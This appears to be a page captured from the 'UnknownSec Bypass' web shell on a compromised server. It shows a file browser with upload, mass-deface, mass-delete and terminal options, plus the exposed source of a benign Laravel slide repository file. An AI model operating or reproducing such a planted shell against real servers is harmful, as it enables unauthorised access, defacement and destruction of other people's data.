UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Repositories
/
Slide
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
SlideRepositoryEloquent.php
<?php namespace EstudioLMS\Repositories\Slide; use EstudioLMS\Models\Common\Language; use EstudioLMS\Models\Slide\Slide; use Prettus\Repository\Eloquent\BaseRepository; /** * Class SlideRepositoryEloquent * @package EstudioLMS\Repositories\Slide */ class SlideRepositoryEloquent extends BaseRepository implements SlideRepository { /** * Specify Model class name * * @return string */ public function model() { return Slide::class; } /** * @return mixed */ public function availableSlides() { $locale = app()->getLocale(); return $this->model->orderBy('created_at', 'desc') ->where('published', '=', true) ->translatedIn($locale) ->withTranslation($locale) ->get(); } /** * @return mixed */ public function allSlides() { $slides = $this->model->get(); foreach($slides as $key => $slide) { if($slide->hasTranslation('pt')) { $slides[$key]['trans'] = empty($slides[$key]['trans']) ? $slides[$key]['trans'] = 'pt' : $slides[$key]['trans'] . ', pt'; } if($slide->hasTranslation('en')) { $slides[$key]['trans'] = empty($slides[$key]['trans']) ? $slides[$key]['trans'] = 'en' : $slides[$key]['trans'] . ', en'; } if($slide->hasTranslation('es')) { $slides[$key]['trans'] = empty($slides[$key]['trans']) ? $slides[$key]['trans'] = 'es' : $slides[$key]['trans'] . ', es'; } } return $slides; } /** * @param $id * @param $locale * @return mixed */ public function translateOrNew($id, $locale) { $instance = $this->model->where('id', $id)->first(); $slide = $instance->translateOrNew($locale); $slide['link'] = $instance['link']; $slide['published'] = $instance['published']; $slide['slide_id'] = $instance['id']; $slide['picture'] = $instance['picture']; return $slide; } }
Copyright © 2026 - UnknownSec